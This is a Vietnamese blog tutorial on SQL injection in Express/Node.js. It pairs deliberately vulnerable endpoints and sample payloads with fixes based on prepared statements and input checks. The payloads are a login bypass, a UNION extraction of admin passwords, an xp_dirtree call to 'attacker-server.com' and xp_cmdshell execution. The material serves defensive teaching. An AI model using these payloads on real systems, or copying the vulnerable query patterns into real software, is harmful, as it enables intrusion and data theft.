Bảo mật là khía cạnh quan trọng trong khi phát triển ứng dụng. Một trong những lỗ hổng bảo mật phổ biến nhất mà nhiều developer có thể bỏ qua là SQL Injection. Đây là kỹ thuật tấn công mà hacker có thể khai thác để truy cập hoặc thao túng cơ sở dữ liệu của bạn thông qua các truy vấn SQL. Bài viết này sẽ giải thích chi tiết về SQL Injection, cách thức hoạt động của nó, và cách phòng ngừa để đảm bảo hệ thống của bạn được bảo vệ.
Trước khi đi vào tìm hiểu về SQL Injection, mình khuyên các bạn nên hiểu về SQL.
1. SQL Injection là gì?
SQL Injection (SQLi) là kỹ thuật tấn công trong đó hacker chèn mã SQL độc hại vào các truy vấn SQL mà ứng dụng thực hiện. Mục tiêu chính là can thiệp vào các truy vấn, dẫn đến việc đánh cắp, thay đổi, hoặc xóa dữ liệu mà không có sự cho phép.
Ví dụ:
SELECT * FROM users WHERE username = 'admin' AND password = 'password123';
hacker có thể chèn vào kí tự vào để bỏ qua việc check password
SELECT * FROM users WHERE username = 'admin' --' AND password = 'password123';
Trong ví dụ mình đưa ra trên thì, -- là ký tự comment trong SQL, làm cho phần còn lại của truy vấn bị bỏ qua, dẫn đến việc bỏ qua phần kiểm tra password.
2. Các dạng tấn công SQL Injection
Có nhiều dạng SQL Injection khác nhau mà hacker có thể sử dụng để khai thác ứng dụng của bạn. Mình sẽ nêu một vài dạng phổ biến:
2.1 In-Band SQL Injection
Đây là loại tấn công SQL Injection phổ biến nhất, hacker sẽ gửi các truy vấn SQL độc hại và nhận kết quả ngay lập tức. In-Band có hai hình thức chính:
- Error-Based SQL Injection: hacker lợi dụng các thông báo lỗi SQL để thu thập thông tin về cấu trúc cơ sở dữ liệu.
Giả sử đoạn code Express với đoạn code sau:
import express from 'express';
import mysql from 'mysql';
const app = express();
const db = mysql.createConnection({
host: 'localhost',
user: 'root',
password: '',
database: 'mydb',
});
app.get('/user', (req, res) => {
const id = req.query.id;
const query = `SELECT * FROM users WHERE id = ${id}`;
db.query(query, (error, results) => {
if (error) {
res.status(500).send(error.message); // Lỗi sẽ được gửi trực tiếp đến client
return;
}
res.json(results);
});
});
app.listen(3000, () => {
console.log('Server is running on port 3000');
});
Nếu hacker truy cập vào URL: http://localhost:3000/user?id=1'
thì câu lệnh SQL truy vấn sẽ là:
SELECT * FROM users WHERE id = 1';
Bởi vì dấu '
bị thừa, cơ sở dữ liệu sẽ trả về lỗi cú pháp. Thông báo lỗi này được gửi trực tiếp đến người dùng, tiết lộ thông tin về cấu trúc cơ sở dữ liệu, giúp hacker thu thập được thông tin để tấn công.
Để phòng ngừa thì bạn chỉ nên gửi thông báo lỗi chung chung đến client, ghi lại chi tiết lỗi trên server để phục vụ việc debug.
Sử dụng Prepared Statements (câu lệnh chuẩn hoá): đảm bảo đầu vào của người dùng được xử lý, không phải là SQL. Nên sử dụng dấu ?
để đại diện cho tham số.
import express from 'express';
import mysql from 'mysql2/promise';
const app = express();
const db = mysql.createPool({
host: 'localhost',
user: 'root',
password: '',
database: 'mydb',
});
app.get('/user', async (req, res) => {
try {
const id = req.query.id;
// Kiểm tra đầu vào là số
if (!id || isNaN(Number(id))) {
return res.status(400).send('Invalid user ID');
}
const [rows] = await db.execute('SELECT * FROM users WHERE id = ?', [id]);
res.json(rows);
} catch (error) {
console.error(error); // Ghi lỗi trên server
res.status(500).send('Server error');
}
});
app.listen(3000, () => {
console.log('Server is running on port 3000');
});
- Union-Based SQL Injection: hacker sử dụng mệnh đề UNION để kết hợp kết quả của nhiều truy vấn SQL và trả về các thông tin thêm.
Mình vẫn sẽ sử dụng đoạn code TypeScript ở ví dụ phía trên, khi hacker truy cập URL: http://localhost:3000/user?id=-1 UNION SELECT username, password FROM admin_users
. Lúc này câu lệnh truy vấn SQL sẽ trở thành:
SELECT * FROM users WHERE id = -1 UNION SELECT username, password FROM admin_users;
Câu truy vấn này sẽ kết hợp kết quả từ bảng users và admin_users, trả về thông tin username và password của quản trị viên (admin).
Thường mình sẽ sử dụng prepared statements (ngăn việc chèn câul lệnh SQL), và kiểm tra và xác thực dữ liệu đầu vào (đảm bảo rằng id chỉ chứa các ký tự hợp lệ (ví dụ: chỉ số nguyên dương).
app.get('/user', async (req, res) => {
try {
const id = req.query.id;
// Kiểm tra đầu vào
if (!id || isNaN(Number(id))) {
return res.status(400).send('Invalid user ID');
}
const [rows] = await db.execute('SELECT * FROM users WHERE id = ?', [id]);
res.json(rows);
} catch (error) {
console.error(error);
res.status(500).send('Server Error');
}
});
2.2 Blind SQL Injection
Trong loại tấn công này, ứng dụng không trả về kết quả rõ ràng cho hacker, nhưng hacker có thể vẫn đoán được thông tin dựa trên phản hồi của ứng dụng (ví dụ như thời gian phản hồi hoặc hành vi ứng dụng). Có hai dạng Blind SQL Injection:
- Boolean-Based Blind SQL Injection: dựa vào các điều kiện logic (True/False).
app.get('/product', (req, res) => {
const id = req.query.id;
const query = `SELECT * FROM products WHERE id = ${id}`;
db.query(query, (error, results) => {
if (error) {
res.status(500).send('Server Error');
return;
}
if (results.length > 0) {
res.send('Product exists');
} else {
res.send('Product not found');
}
});
});
Hacker thay đổi logic của câu lệnh SQL và suy đoán thông tin dựa trên phản hồi.
Tương tự thì mình vẫn sẽ sử dụng hai cách mình đề cập trước đó.
app.get('/product', async (req, res) => {
try {
const id = req.query.id;
// Kiểm tra đầu vào
if (!id || isNaN(Number(id))) {
return res.status(400).send('Invalid product ID');
}
const [rows] = await db.execute('SELECT * FROM products WHERE id = ?', [id]);
if (rows.length > 0) {
res.send('Product exists');
} else {
res.send('Product not found');
}
} catch (error) {
console.error(error);
res.status(500).send('Server Error');
}
});
- Time-Based Blind SQL Injection: chèn thêm nhiều câu lệnh SQL làm chậm phản hồi từ đó dựa vào thời gian phản hồi để suy đoán thông tin.
app.get('/product', (req, res) => {
const id = req.query.id;
const query = `SELECT * FROM products WHERE id = ${id};`;
db.query(query, (error, results) => {
if (error) {
res.status(500).send('Server Error');
return;
}
res.json(results);
});
});
Cấu hình kết nối cơ sở dữ liệu để chỉ cho phép một câu lệnh mỗi truy vấn
const db = mysql.createPool({
multipleStatements: false, // Vô hiệu hóa nhiều câu lệnh
});
app.get('/product', async (req, res) => {
try {
const id = req.query.id;
// Kiểm tra đầu vào
if (!id || isNaN(Number(id))) {
return res.status(400).send('Invalid product ID');
}
const [rows] = await db.execute('SELECT * FROM products WHERE id = ?', [id]);
res.json(rows);
} catch (error) {
console.error(error);
res.status(500).send('Server Error');
}
});
2.3 Out-of-Band SQL Injection
Loại này xảy ra khi hacker không thể thực hiện tấn công ngay trong quá trình tương tác nhưng có thể sử dụng các phương pháp gián tiếp (như DNS hoặc HTTP requests) để lấy dữ liệu từ hệ thống.
app.get('/data', (req, res) => {
const id = req.query.id;
const query = `SELECT * FROM users WHERE id = ${id};`;
db.query(query, (error, results) => {
if (error) {
res.status(500).send('Server Error');
return;
}
res.json(results);
});
});
Hacker chèn lệnh:
http://localhost:3000/data?id=1; EXEC master..xp_dirtree '//attacker-server.com/data' --
Bạn có thể thấy, đoạn code đang cho phép thực thi các lệnh hệ thống hoặc chức năng như: xp_cmdshell, xp_dirtree.
Để phòng ngừa xảy ra, tương tự như 2 cách trước đó, thì bạn nên Vô hiệu hóa chức năng mở rộng và hạn chế quyền để giảm thiểu rủi ro.
3. Các hậu quả của SQL Injection
SQL Injection có thể gây ra nhiều hậu quả nghiêm trọng cho ứng dụng web, bao gồm:
- Rò rỉ dữ liệu: hacker có thể truy cập dữ liệu quan trọng như thông tin khách hàng, mật khẩu, và các thông tin nhạy cảm khác.
app.post('/login', (req, res) => {
const username = req.body.username;
const password = req.body.password;
const query = `SELECT * FROM users WHERE username = '${username}' AND password = '${password}'`;
db.query(query, (error, results) => {
if (error) {
res.status(500).send('Server Error');
return;
}
if (results.length > 0) {
res.send('Login successful');
} else {
res.send('Invalid credentials');
}
});
});
Với đoạn code trên, hacker có thể bỏ qua kiểm tra mật khẩu và đăng nhập trái phép.
Thay vì lưu thẳng mật khẩu xuống database, bạn có thể băm (hash) và so sánh băm thay vì mật khẩu.
import bcrypt from 'bcrypt';
app.post('/login', async (req, res) => {
try {
const username = req.body.username;
const password = req.body.password;
const [rows] = await db.execute('SELECT * FROM users WHERE username = ?', [username]);
if (rows.length > 0) {
const user = rows[0];
const match = await bcrypt.compare(password, user.password_hash);
if (match) {
res.send('Login successful');
} else {
res.send('Invalid credentials');
}
} else {
res.send('Invalid credentials');
}
} catch (error) {
console.error(error);
res.status(500).send('Server Error');
}
});
- Thay đổi hoặc xóa dữ liệu: ngoài việc đọc dữ liệu, hacker có thể thay đổi hoặc xóa dữ liệu, dẫn đến sự cố lớn trong hệ thống.
app.get('/delete-order', async (req, res) => {
try {
const id = req.query.id;
// Kiểm tra đầu vào
if (!id || isNaN(Number(id))) {
return res.status(400).send('Invalid order ID');
}
await db.execute('DELETE FROM orders WHERE id = ?', [id]);
res.send('Order deleted');
} catch (error) {
console.error(error);
res.status(500).send('Server Error');
}
});
- Kiểm soát máy chủ: trong một số trường hợp nghiêm trọng, SQL Injection có thể cho phép hacker kiểm soát hoàn toàn server cơ sở dữ liệu.
app.get('/execute', (req, res) => {
const command = req.query.command;
const query = `SELECT * FROM users WHERE id = 1; EXEC xp_cmdshell '${command}'`;
db.query(query, (error, results) => {
if (error) {
res.status(500).send('Server Error');
return;
}
res.send('Command executed');
});
});
Với việc cho phép thực thi các câu lệnh hệ thống, hacker rất dễ kiểm soát máy chủ.
Để phòng ngừa, bạn không nên cho phép thực thi lệnh hệ thống từ người dùng, phân quyền tài khoản cơ sở dữ liệu.
app.get('/execute', (req, res) => {
res.status(403).send('Forbidden');
});
4. Cách phòng ngừa SQL Injection
4.1 Sử dụng Prepared Statements (Câu lệnh chuẩn hóa)
Prepared Statements cho phép bạn định nghĩa trước cấu trúc của câu lệnh truy vấn, và sau đó chỉ gán giá trị vào mà không cần lo lắng về việc các giá trị đầu vào có chứa mã độc hay không. Ví dụ trong JavaScript/TypeScript:
let query = 'SELECT * FROM users WHERE username = ? AND password = ?';
db.execute(query, [username, password]);
4.2 Sử dụng ORM (Object-Relational Mapping)
Sử dụng các ORM như: Prisma, Sequelize, TypeORM có thể giúp giảm thiểu rủi ro SQL Injection, vì chúng tự động hóa các truy vấn SQL và tránh việc thao tác trực tiếp với câu lệnh SQL.
4.3 Kiểm tra đầu vào (Input Validation)
Kiểm tra đầu vào từ người dùng để đảm bảo chỉ giá trị hợp lệ được chấp nhận. Điều này bao gồm việc giới hạn độ dài của chuỗi, chỉ chấp nhận các ký tự hợp lệ, và kiểm tra các định dạng dữ liệu.
4.4 Sử dụng quyền hạn thấp cho cơ sở dữ liệu
Đảm bảo rằng tài khoản cơ sở dữ liệu mà ứng dụng sử dụng chỉ có quyền truy cập hạn chế. Ví dụ, không nên sử dụng tài khoản quản trị để thực hiện các truy vấn thông thường.
4.5 Sử dụng công cụ hỗ trợ kiểm tra và phát hiện SQL Injection
Để phát hiện SQL Injection trong ứng dụng, có nhiều công cụ có thể giúp bạn thực hiện kiểm tra bảo mật:
- SQLMap: công cụ open-source mạnh mẽ để tự động phát hiện và khai thác SQL Injection.
- OWASP ZAP: công cụ kiểm thử bảo mật ứng dụng web, có khả năng phát hiện các lỗ hổng bảo mật phổ biến bao gồm cả SQL Injection.
5. Kết luận
SQL Injection là một trong những lỗ hổng bảo mật phổ biến nhất nhưng lại dễ dàng phòng ngừa nếu áp dụng đúng các biện pháp bảo mật. Hiểu rõ và thực hiện các biện pháp phòng ngừa như sử dụng Prepared Statements, ORM, và kiểm tra đầu vào là những bước cơ bản nhưng rất quan trọng để bảo vệ ứng dụng của bạn khỏi các cuộc tấn công.
Các bài viết liên quan:
Bài viết liên quan
MikroORM là gì? So sánh TypeORM, Sequelize, MikroORM và Prisma
Oct 26, 2024 • 10 min read
Tìm Hiểu Single Sign-On (SSO): Giải pháp đăng nhập một lần
Oct 26, 2024 • 11 min read
Giới thiệu FFmpeg: Hướng dẫn Encode Video và Streaming với HLS
Oct 25, 2024 • 14 min read
So sánh hiệu suất Query của PostgreSQL và MySQL
Oct 24, 2024 • 9 min read
Fastify là gì? So sánh hiệu suất của Fastify và ExpressJS
Oct 22, 2024 • 12 min read
Sequelize là gì? So sánh Sequelize và Prisma
Oct 21, 2024 • 7 min read